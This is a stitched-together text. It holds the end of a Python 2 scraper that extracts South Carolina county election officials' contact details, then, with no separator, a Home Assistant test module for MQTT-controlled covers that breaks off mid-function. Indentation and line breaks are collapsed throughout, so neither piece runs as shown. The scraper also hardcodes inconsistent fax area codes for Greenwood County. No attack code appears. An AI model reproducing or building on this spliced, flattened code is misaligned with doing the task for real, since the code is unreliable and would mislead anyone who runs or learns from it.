County: if county_name == "Aiken County": reg_email = "cholland@aikencountysc.gov" county.replace("cholland@aikencountysc.gov","") phone = dogcatcher.find_phone(phone_re, county) for item in phone_re.findall(county): county = county.replace(item, "") #Many of the fax numbers don't have area codes. So we grab the first area code we find in the block of phone numbers and give it to the fax number. area_code = area_code_re.findall(phone)[0] fax = dogcatcher.find_phone(fax_re, county, area_code) for item in fax_re.findall(county): county = county.replace(item, "") county = county.replace("Fax", "") #unique case in Greenwood County, which gives a separate phone number for registration-related contacts: if county_name == "Greenwood County": phone = "(864) 942-3152, (864) 942-3153, (864) 942-5667" fax = "(804) 942-5664" county = county.replace(phone,"").replace(fax,"") reg_phone = "(864) 942-8585" county.replace("(864) 942-8585","") reg_fax = "(846) 942-5664" county.replace("942-5664","") #Some counties have a registration-only email address. In those counties, the absentee email has "absentee" in it. #Websites have similar problems print county email = dogcatcher.find_emails(email_re, county) if "absentee" in email: emails = email.split(", ") email = "" for item in emails: county = county.replace(item, "") if "absentee" in item: email = email + ", " + item else: reg_email = reg_email + ", " + item email = email.strip(", ") reg_email = reg_email.strip(", ") else: for item in email_re.findall(county): county = county.replace(item, "") website = dogcatcher.find_website(website_re, county) if "absentee" in website: websites = website.split(", ") website = "" for item in websites: county = county.replace(item, "") if "absentee" in item: website = website + ", " + item else: reg_website = reg_website + ", " + item else: for item in website_re.findall(county): county = county.replace(item, "") website = website.strip(", ") reg_website = reg_website.strip(", ") print [email] #There are many forms the official's name can take. This tries all of them. if official_name_1_re.findall(county): official_name = official_name_1_re.findall(county)[0].strip() elif official_name_2_re.findall(county): official_name = official_name_2_re.findall(county)[0].strip() elif official_name_3_re.findall(county): official_name = official_name_3_re.findall(county)[0].strip() elif official_name_4_re.findall(county): official_name = official_name_4_re.findall(county)[0].strip() elif official_name_5_re.findall(county): official_name = official_name_5_re.findall(county)[0].strip() elif official_name_6_re.findall(county): official_name = official_name_6_re.findall(county)[0].strip() else: official_name = "" if official_name: first_name, last_name, review = dogcatcher.split_name(official_name, review) county = county.replace(official_name,"") print "++++++++++++++++++++++++++++++++++++++" if county_name == "Charleston County": county = county.replace("Post Office","Mailing Address:<> Post Office") #Some counties don't put a marked "Mailing Address" section, but do have a separate mailing address. #So first, we check whether the county has "Mailing Address" in it. if "Mailing Address" not in county: #This section finds the full address. After finding the address, it identifies a city/state/zip (csz) combination and a PO Box number if that exists. #It removes both the CSZ and the PO Address (if it exists) from the full address, leaving behind a street address with some garbage. #It then cleans up the street address and pulls the city, state, and zip out of the csz, and assigns them as appropriate to the street address and state. address = address_re.findall(county)[0] csz = csz_re.findall(address)[0] address = address.replace(csz,"") try: po_street = po_re.findall(address)[0].replace("</b><p>","") except: po_street = "" street = address.replace(po_street,"").replace(csz,"").replace("</b><p>","") street = street.replace("<p>",", ").replace("</p>",", ").replace("<br />",", ").replace(",,",", ").replace(" ,",",").replace(",,",", ").replace(", , ",", ").strip(" /,") if po_street: po_city = city_re.findall(csz)[0] po_state = state_re.findall(csz)[0] po_zip_code = zip_re.findall(csz)[0] if street: city = city_re.findall(csz)[0] address_state = state_re.findall(csz)[0] zip_code = zip_re.findall(csz)[0] else: #If there's an explicitly stated mailing address, we find it, and then pull the mailing address out of it. #At the same time, we cut the mailing address out of the entire county and find a physical address in what's left of the county. #We then clean both of those addresses appropriately. mailing_region = mailing_region_re.findall(county)[0] county = county.replace(mailing_region,"") mailing_addresss = address_re.findall(mailing_region)[0] po_street = po_re.findall(mailing_addresss)[0] csz = csz_re.findall(mailing_addresss)[0] po_city = city_re.findall(csz)[0] po_state = state_re.findall(csz)[0] po_zip_code = zip_re.findall(csz)[0] address = address_re.findall(county)[0] csz = csz_re.findall(address)[0] street = address.replace(csz,"").replace("</b><p>","") street = street.replace("<p>",", ").replace("</p>",", ").replace("<br />",", ").replace(",,",", ").replace(" ,",",").replace(",,",", ").replace(", , ",", ").strip(" /,") city = city_re.findall(csz)[0] address_state = state_re.findall(csz)[0] zip_code = zip_re.findall(csz)[0] #Some of the addresses have a more detailed zip code appended to the street address or po_street. #This checks for that, reassigns the and removes it if it appears. if zip_mod_re.findall(street): zip_code = zip_mod_re.findall(street)[0].strip("()") street = street.replace(zip_code,"").strip(" ()") if zip_mod_re.findall(po_street): po_zip_code = zip_mod_re.findall(po_street)[0].strip("()") po_street = po_street.replace(zip_code,"").strip(" ()") fips = dogcatcher.find_fips(county_name, voter_state) result.append([authority_name, first_name, last_name, county_name, fips, street, city, address_state, zip_code, po_street, po_city, po_state, po_zip_code, reg_authority_name, reg_first, reg_last, reg_street, reg_city, reg_state, reg_zip_code, reg_po_street, reg_po_city, reg_po_state, reg_po_zip_code, reg_phone, reg_fax, reg_email, reg_website, reg_hours, phone, fax, email, website, hours, voter_state, source, review]) dogcatcher.output(result, voter_state, cdir)
"""The tests for the MQTT cover platform.""" from unittest.mock import patch import pytest from homeassistant.components import cover from homeassistant.components.cover import ( ATTR_CURRENT_POSITION, ATTR_CURRENT_TILT_POSITION, ATTR_POSITION, ATTR_TILT_POSITION, ) from homeassistant.components.mqtt import CONF_STATE_TOPIC from homeassistant.components.mqtt.cover import ( CONF_GET_POSITION_TEMPLATE, CONF_GET_POSITION_TOPIC, CONF_SET_POSITION_TEMPLATE, CONF_SET_POSITION_TOPIC, CONF_TILT_COMMAND_TEMPLATE, CONF_TILT_COMMAND_TOPIC, CONF_TILT_STATUS_TEMPLATE, CONF_TILT_STATUS_TOPIC, MQTT_COVER_ATTRIBUTES_BLOCKED, MqttCover, ) from homeassistant.const import ( ATTR_ASSUMED_STATE, ATTR_ENTITY_ID, CONF_VALUE_TEMPLATE, SERVICE_CLOSE_COVER, SERVICE_CLOSE_COVER_TILT, SERVICE_OPEN_COVER, SERVICE_OPEN_COVER_TILT, SERVICE_SET_COVER_POSITION, SERVICE_SET_COVER_TILT_POSITION, SERVICE_STOP_COVER, SERVICE_TOGGLE, SERVICE_TOGGLE_COVER_TILT, STATE_CLOSED, STATE_CLOSING, STATE_OPEN, STATE_OPENING, STATE_UNKNOWN, ) from homeassistant.setup import async_setup_component from .test_common import ( help_test_availability_when_connection_lost, help_test_availability_without_topic, help_test_custom_availability_payload, help_test_default_availability_payload, help_test_discovery_broken, help_test_discovery_removal, help_test_discovery_update, help_test_discovery_update_attr, help_test_discovery_update_unchanged, help_test_encoding_subscribable_topics, help_test_entity_debug_info_message, help_test_entity_device_info_remove, help_test_entity_device_info_update, help_test_entity_device_info_with_connection, help_test_entity_device_info_with_identifier, help_test_entity_id_update_discovery_update, help_test_entity_id_update_subscriptions, help_test_publishing_with_custom_encoding, help_test_reloadable, help_test_reloadable_late, help_test_setting_attribute_via_mqtt_json_message, help_test_setting_attribute_with_template, help_test_setting_blocked_attribute_via_mqtt_json_message, help_test_unique_id, help_test_update_with_json_attrs_bad_JSON, help_test_update_with_json_attrs_not_dict, ) from tests.common import async_fire_mqtt_message DEFAULT_CONFIG = { cover.DOMAIN: {"platform": "mqtt", "name": "test", "state_topic": "test-topic"} } async def test_state_via_state_topic(hass, mqtt_mock): """Test the controlling state via topic.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN assert not state.attributes.get(ATTR_ASSUMED_STATE) async_fire_mqtt_message(hass, "state-topic", STATE_CLOSED) state = hass.states.get("cover.test") assert state.state == STATE_CLOSED async_fire_mqtt_message(hass, "state-topic", STATE_OPEN) state = hass.states.get("cover.test") assert state.state == STATE_OPEN async def test_opening_and_closing_state_via_custom_state_payload(hass, mqtt_mock): """Test the controlling opening and closing state via a custom payload.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "state_opening": "34", "state_closing": "--43", } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN assert not state.attributes.get(ATTR_ASSUMED_STATE) async_fire_mqtt_message(hass, "state-topic", "34") state = hass.states.get("cover.test") assert state.state == STATE_OPENING async_fire_mqtt_message(hass, "state-topic", "--43") state = hass.states.get("cover.test") assert state.state == STATE_CLOSING async_fire_mqtt_message(hass, "state-topic", STATE_CLOSED) state = hass.states.get("cover.test") assert state.state == STATE_CLOSED async def test_open_closed_state_from_position_optimistic(hass, mqtt_mock): """Test the state after setting the position using optimistic mode.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "position_topic": "position-topic", "set_position_topic": "set-position-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "optimistic": True, } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN await hass.services.async_call( cover.DOMAIN, SERVICE_SET_COVER_POSITION, {ATTR_ENTITY_ID: "cover.test", ATTR_POSITION: 0}, blocking=True, ) state = hass.states.get("cover.test") assert state.state == STATE_CLOSED assert state.attributes.get(ATTR_ASSUMED_STATE) await hass.services.async_call( cover.DOMAIN, SERVICE_SET_COVER_POSITION, {ATTR_ENTITY_ID: "cover.test", ATTR_POSITION: 100}, blocking=True, ) state = hass.states.get("cover.test") assert state.state == STATE_OPEN assert state.attributes.get(ATTR_ASSUMED_STATE) async def test_position_via_position_topic(hass, mqtt_mock): """Test the controlling state via topic.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "position_topic": "get-position-topic", "position_open": 100, "position_closed": 0, "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN assert not state.attributes.get(ATTR_ASSUMED_STATE) async_fire_mqtt_message(hass, "get-position-topic", "0") state = hass.states.get("cover.test") assert state.state == STATE_CLOSED async_fire_mqtt_message(hass, "get-position-topic", "100") state = hass.states.get("cover.test") assert state.state == STATE_OPEN async def test_state_via_template(hass, mqtt_mock): """Test the controlling state via topic.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "value_template": "\ {% if (value | multiply(0.01) | int) == 0 %}\ closed\ {% else %}\ open\ {% endif %}", } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN async_fire_mqtt_message(hass, "state-topic", "10000") state = hass.states.get("cover.test") assert state.state == STATE_OPEN async_fire_mqtt_message(hass, "state-topic", "99") state = hass.states.get("cover.test") assert state.state == STATE_CLOSED async def test_state_via_template_and_entity_id(hass, mqtt_mock): """Test the controlling state via topic.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "value_template": '\ {% if value == "open" or value == "closed" %}\ {{ value }}\ {% else %}\ {{ states(entity_id) }}\ {% endif %}', } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN async_fire_mqtt_message(hass, "state-topic", "open") async_fire_mqtt_message(hass, "state-topic", "invalid") state = hass.states.get("cover.test") assert state.state == STATE_OPEN async_fire_mqtt_message(hass, "state-topic", "closed") async_fire_mqtt_message(hass, "state-topic", "invalid") state = hass.states.get("cover.test") assert state.state == STATE_CLOSED async def test_state_via_template_with_json_value(hass, mqtt_mock, caplog): """Test the controlling state via topic with JSON value.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 0, "value_template": "{{ value_json.Var1 }}", } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN async_fire_mqtt_message(hass, "state-topic", '{ "Var1": "open", "Var2": "other" }') state = hass.states.get("cover.test") assert state.state == STATE_OPEN async_fire_mqtt_message( hass, "state-topic", '{ "Var1": "closed", "Var2": "other" }' ) state = hass.states.get("cover.test") assert state.state == STATE_CLOSED async_fire_mqtt_message(hass, "state-topic", '{ "Var2": "other" }') assert ( "Template variable warning: 'dict object' has no attribute 'Var1' when rendering" ) in caplog.text async def test_position_via_template_and_entity_id(hass, mqtt_mock): """Test the controlling state via topic.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "position_topic": "get-position-topic", "command_topic": "command-topic", "qos": 0, "position_template": '\ {% if state_attr(entity_id, "current_position") == None %}\ {{ value }}\ {% else %}\ {{ state_attr(entity_id, "current_position") + value | int }}\ {% endif %}', } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN async_fire_mqtt_message(hass, "get-position-topic", "10") current_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position == 10 async_fire_mqtt_message(hass, "get-position-topic", "10") current_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position == 20 @pytest.mark.parametrize( "config, assumed_state", [ ({"command_topic": "abc"}, True), ({"command_topic": "abc", "state_topic": "abc"}, False), # ({"set_position_topic": "abc"}, True), - not a valid configuration ({"set_position_topic": "abc", "position_topic": "abc"}, False), ({"tilt_command_topic": "abc"}, True), ({"tilt_command_topic": "abc", "tilt_status_topic": "abc"}, False), ], ) async def test_optimistic_flag(hass, mqtt_mock, config, assumed_state): """Test assumed_state is set correctly.""" assert await async_setup_component( hass, cover.DOMAIN, {cover.DOMAIN: {**config, "platform": "mqtt", "name": "test", "qos": 0}}, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN if assumed_state: assert ATTR_ASSUMED_STATE in state.attributes else: assert ATTR_ASSUMED_STATE not in state.attributes async def test_optimistic_state_change(hass, mqtt_mock): """Test changing state optimistically.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "command-topic", "qos": 0, } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN assert state.attributes.get(ATTR_ASSUMED_STATE) await hass.services.async_call( cover.DOMAIN, SERVICE_OPEN_COVER, {ATTR_ENTITY_ID: "cover.test"}, blocking=True ) mqtt_mock.async_publish.assert_called_once_with("command-topic", "OPEN", 0, False) mqtt_mock.async_publish.reset_mock() state = hass.states.get("cover.test") assert state.state == STATE_OPEN await hass.services.async_call( cover.DOMAIN, SERVICE_CLOSE_COVER, {ATTR_ENTITY_ID: "cover.test"}, blocking=True ) mqtt_mock.async_publish.assert_called_once_with("command-topic", "CLOSE", 0, False) mqtt_mock.async_publish.reset_mock() state = hass.states.get("cover.test") assert state.state == STATE_CLOSED await hass.services.async_call( cover.DOMAIN, SERVICE_TOGGLE, {ATTR_ENTITY_ID: "cover.test"}, blocking=True ) mqtt_mock.async_publish.assert_called_once_with("command-topic", "OPEN", 0, False) mqtt_mock.async_publish.reset_mock() state = hass.states.get("cover.test") assert state.state == STATE_OPEN await hass.services.async_call( cover.DOMAIN, SERVICE_TOGGLE, {ATTR_ENTITY_ID: "cover.test"}, blocking=True ) mqtt_mock.async_publish.assert_called_once_with("command-topic", "CLOSE", 0, False) state = hass.states.get("cover.test") assert state.state == STATE_CLOSED async def test_optimistic_state_change_with_position(hass, mqtt_mock): """Test changing state optimistically.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "optimistic": True, "command_topic": "command-topic", "position_topic": "position-topic", "qos": 0, } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN assert state.attributes.get(ATTR_ASSUMED_STATE) assert state.attributes.get(ATTR_CURRENT_POSITION) is None await hass.services.async_call( cover.DOMAIN, SERVICE_OPEN_COVER, {ATTR_ENTITY_ID: "cover.test"}, blocking=True ) mqtt_mock.async_publish.assert_called_once_with("command-topic", "OPEN", 0, False) mqtt_mock.async_publish.reset_mock() state = hass.states.get("cover.test") assert state.state == STATE_OPEN assert state.attributes.get(ATTR_CURRENT_POSITION) == 100 await hass.services.async_call( cover.DOMAIN, SERVICE_CLOSE_COVER, {ATTR_ENTITY_ID: "cover.test"}, blocking=True ) mqtt_mock.async_publish.assert_called_once_with("command-topic", "CLOSE", 0, False) mqtt_mock.async_publish.reset_mock() state = hass.states.get("cover.test") assert state.state == STATE_CLOSED assert state.attributes.get(ATTR_CURRENT_POSITION) == 0 await hass.services.async_call( cover.DOMAIN, SERVICE_TOGGLE, {ATTR_ENTITY_ID: "cover.test"}, blocking=True ) mqtt_mock.async_publish.assert_called_once_with("command-topic", "OPEN", 0, False) mqtt_mock.async_publish.reset_mock() state = hass.states.get("cover.test") assert state.state == STATE_OPEN assert state.attributes.get(ATTR_CURRENT_POSITION) == 100 await hass.services.async_call( cover.DOMAIN, SERVICE_TOGGLE, {ATTR_ENTITY_ID: "cover.test"}, blocking=True ) mqtt_mock.async_publish.assert_called_once_with("command-topic", "CLOSE", 0, False) state = hass.states.get("cover.test") assert state.state == STATE_CLOSED assert state.attributes.get(ATTR_CURRENT_POSITION) == 0 async def test_send_open_cover_command(hass, mqtt_mock): """Test the sending of open_cover.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 2, } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN await hass.services.async_call( cover.DOMAIN, SERVICE_OPEN_COVER, {ATTR_ENTITY_ID: "cover.test"}, blocking=True ) mqtt_mock.async_publish.assert_called_once_with("command-topic", "OPEN", 2, False) state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN async def test_send_close_cover_command(hass, mqtt_mock): """Test the sending of close_cover.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 2, } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN await hass.services.async_call( cover.DOMAIN, SERVICE_CLOSE_COVER, {ATTR_ENTITY_ID: "cover.test"}, blocking=True ) mqtt_mock.async_publish.assert_called_once_with("command-topic", "CLOSE", 2, False) state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN async def test_send_stop__cover_command(hass, mqtt_mock): """Test the sending of stop_cover.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "state_topic": "state-topic", "command_topic": "command-topic", "qos": 2, } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN await hass.services.async_call( cover.DOMAIN, SERVICE_STOP_COVER, {ATTR_ENTITY_ID: "cover.test"}, blocking=True ) mqtt_mock.async_publish.assert_called_once_with("command-topic", "STOP", 2, False) state = hass.states.get("cover.test") assert state.state == STATE_UNKNOWN async def test_current_cover_position(hass, mqtt_mock): """Test the current cover position.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "position_topic": "get-position-topic", "command_topic": "command-topic", "position_open": 100, "position_closed": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", } }, ) await hass.async_block_till_done() state_attributes_dict = hass.states.get("cover.test").attributes assert ATTR_CURRENT_POSITION not in state_attributes_dict assert ATTR_CURRENT_TILT_POSITION not in state_attributes_dict assert 4 & hass.states.get("cover.test").attributes["supported_features"] != 4 async_fire_mqtt_message(hass, "get-position-topic", "0") current_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position == 0 async_fire_mqtt_message(hass, "get-position-topic", "50") current_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position == 50 async_fire_mqtt_message(hass, "get-position-topic", "non-numeric") current_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position == 50 async_fire_mqtt_message(hass, "get-position-topic", "101") current_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position == 100 async def test_current_cover_position_inverted(hass, mqtt_mock): """Test the current cover position.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "position_topic": "get-position-topic", "command_topic": "command-topic", "position_open": 0, "position_closed": 100, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", } }, ) await hass.async_block_till_done() state_attributes_dict = hass.states.get("cover.test").attributes assert ATTR_CURRENT_POSITION not in state_attributes_dict assert ATTR_CURRENT_TILT_POSITION not in state_attributes_dict assert 4 & hass.states.get("cover.test").attributes["supported_features"] != 4 async_fire_mqtt_message(hass, "get-position-topic", "100") current_percentage_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_percentage_cover_position == 0 assert hass.states.get("cover.test").state == STATE_CLOSED async_fire_mqtt_message(hass, "get-position-topic", "0") current_percentage_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_percentage_cover_position == 100 assert hass.states.get("cover.test").state == STATE_OPEN async_fire_mqtt_message(hass, "get-position-topic", "50") current_percentage_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_percentage_cover_position == 50 assert hass.states.get("cover.test").state == STATE_OPEN async_fire_mqtt_message(hass, "get-position-topic", "non-numeric") current_percentage_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_percentage_cover_position == 50 assert hass.states.get("cover.test").state == STATE_OPEN async_fire_mqtt_message(hass, "get-position-topic", "101") current_percentage_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_percentage_cover_position == 0 assert hass.states.get("cover.test").state == STATE_CLOSED async def test_optimistic_position(hass, mqtt_mock): """Test optimistic position is not supported.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "command-topic", "set_position_topic": "set-position-topic", } }, ) await hass.async_block_till_done() state = hass.states.get("cover.test") assert state is None async def test_position_update(hass, mqtt_mock): """Test cover position update from received MQTT message.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "position_topic": "get-position-topic", "command_topic": "command-topic", "set_position_topic": "set-position-topic", "position_open": 100, "position_closed": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", } }, ) await hass.async_block_till_done() state_attributes_dict = hass.states.get("cover.test").attributes assert ATTR_CURRENT_POSITION not in state_attributes_dict assert ATTR_CURRENT_TILT_POSITION not in state_attributes_dict assert 4 & hass.states.get("cover.test").attributes["supported_features"] == 4 async_fire_mqtt_message(hass, "get-position-topic", "22") state_attributes_dict = hass.states.get("cover.test").attributes assert ATTR_CURRENT_POSITION in state_attributes_dict assert ATTR_CURRENT_TILT_POSITION not in state_attributes_dict current_cover_position = hass.states.get("cover.test").attributes[ ATTR_CURRENT_POSITION ] assert current_cover_position == 22 @pytest.mark.parametrize( "pos_template,pos_call,pos_message", [("{{position-1}}", 43, "42"), ("{{100-62}}", 100, "38")], ) async def test_set_position_templated( hass, mqtt_mock, pos_template, pos_call, pos_message ): """Test setting cover position via template.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "position_topic": "get-position-topic", "command_topic": "command-topic", "position_open": 100, "position_closed": 0, "set_position_topic": "set-position-topic", "set_position_template": pos_template, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", } }, ) await hass.async_block_till_done() await hass.services.async_call( cover.DOMAIN, SERVICE_SET_COVER_POSITION, {ATTR_ENTITY_ID: "cover.test", ATTR_POSITION: pos_call}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "set-position-topic", pos_message, 0, False ) async def test_set_position_templated_and_attributes(hass, mqtt_mock): """Test setting cover position via template and using entities attributes.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "position_topic": "get-position-topic", "command_topic": "command-topic", "position_open": 100, "position_closed": 0, "set_position_topic": "set-position-topic", "set_position_template": '\ {% if position > 99 %}\ {% if state_attr(entity_id, "current_position") == None %}\ {{ 5 }}\ {% else %}\ {{ 23 }}\ {% endif %}\ {% else %}\ {{ 42 }}\ {% endif %}', "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", } }, ) await hass.async_block_till_done() await hass.services.async_call( cover.DOMAIN, SERVICE_SET_COVER_POSITION, {ATTR_ENTITY_ID: "cover.test", ATTR_POSITION: 100}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with("set-position-topic", "5", 0, False) async def test_set_tilt_templated(hass, mqtt_mock): """Test setting cover tilt position via template.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "position_topic": "get-position-topic", "command_topic": "command-topic", "tilt_command_topic": "tilt-command-topic", "position_open": 100, "position_closed": 0, "set_position_topic": "set-position-topic", "set_position_template": "{{position-1}}", "tilt_command_template": "{{tilt_position+1}}", "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", } }, ) await hass.async_block_till_done() await hass.services.async_call( cover.DOMAIN, SERVICE_SET_COVER_TILT_POSITION, {ATTR_ENTITY_ID: "cover.test", ATTR_TILT_POSITION: 41}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", "42", 0, False ) async def test_set_tilt_templated_and_attributes(hass, mqtt_mock): """Test setting cover tilt position via template and using entities attributes.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "position_topic": "get-position-topic", "command_topic": "command-topic", "tilt_command_topic": "tilt-command-topic", "position_open": 100, "position_closed": 0, "set_position_topic": "set-position-topic", "set_position_template": "{{position-1}}", "tilt_command_template": "{" '"enitity_id": "{{ entity_id }}",' '"value": {{ value }},' '"tilt_position": {{ tilt_position }}' "}", "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", } }, ) await hass.async_block_till_done() await hass.services.async_call( cover.DOMAIN, SERVICE_SET_COVER_TILT_POSITION, {ATTR_ENTITY_ID: "cover.test", ATTR_TILT_POSITION: 45}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", '{"enitity_id": "cover.test","value": 45,"tilt_position": 45}', 0, False, ) mqtt_mock.async_publish.reset_mock() await hass.services.async_call( cover.DOMAIN, SERVICE_OPEN_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", '{"enitity_id": "cover.test","value": 100,"tilt_position": 100}', 0, False, ) mqtt_mock.async_publish.reset_mock() await hass.services.async_call( cover.DOMAIN, SERVICE_CLOSE_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", '{"enitity_id": "cover.test","value": 0,"tilt_position": 0}', 0, False, ) mqtt_mock.async_publish.reset_mock() await hass.services.async_call( cover.DOMAIN, SERVICE_TOGGLE_COVER_TILT, {ATTR_ENTITY_ID: "cover.test"}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with( "tilt-command-topic", '{"enitity_id": "cover.test","value": 100,"tilt_position": 100}', 0, False, ) async def test_set_position_untemplated(hass, mqtt_mock): """Test setting cover position via template.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "position_topic": "state-topic", "command_topic": "command-topic", "set_position_topic": "position-topic", "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", } }, ) await hass.async_block_till_done() await hass.services.async_call( cover.DOMAIN, SERVICE_SET_COVER_POSITION, {ATTR_ENTITY_ID: "cover.test", ATTR_POSITION: 62}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with("position-topic", "62", 0, False) async def test_set_position_untemplated_custom_percentage_range(hass, mqtt_mock): """Test setting cover position via template.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "position_topic": "state-topic", "command_topic": "command-topic", "set_position_topic": "position-topic", "position_open": 0, "position_closed": 100, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", } }, ) await hass.async_block_till_done() await hass.services.async_call( cover.DOMAIN, SERVICE_SET_COVER_POSITION, {ATTR_ENTITY_ID: "cover.test", ATTR_POSITION: 38}, blocking=True, ) mqtt_mock.async_publish.assert_called_once_with("position-topic", "62", 0, False) async def test_no_command_topic(hass, mqtt_mock): """Test with no command topic.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "qos": 0, "payload_open": "OPEN", "payload_close": "CLOSE", "payload_stop": "STOP", "tilt_command_topic": "tilt-command", "tilt_status_topic": "tilt-status", } }, ) await hass.async_block_till_done() assert hass.states.get("cover.test").attributes["supported_features"] == 240 async def test_no_payload_close(hass, mqtt_mock): """Test with no close payload.""" assert await async_setup_component( hass, cover.DOMAIN, { cover.DOMAIN: { "platform": "mqtt", "name": "test", "command_topic": "command-topic", "qos": 0, "payload_open": "OPEN", "payload_close": None, "payload_stop": "STOP", } }, ) await hass.async_block_till_done() 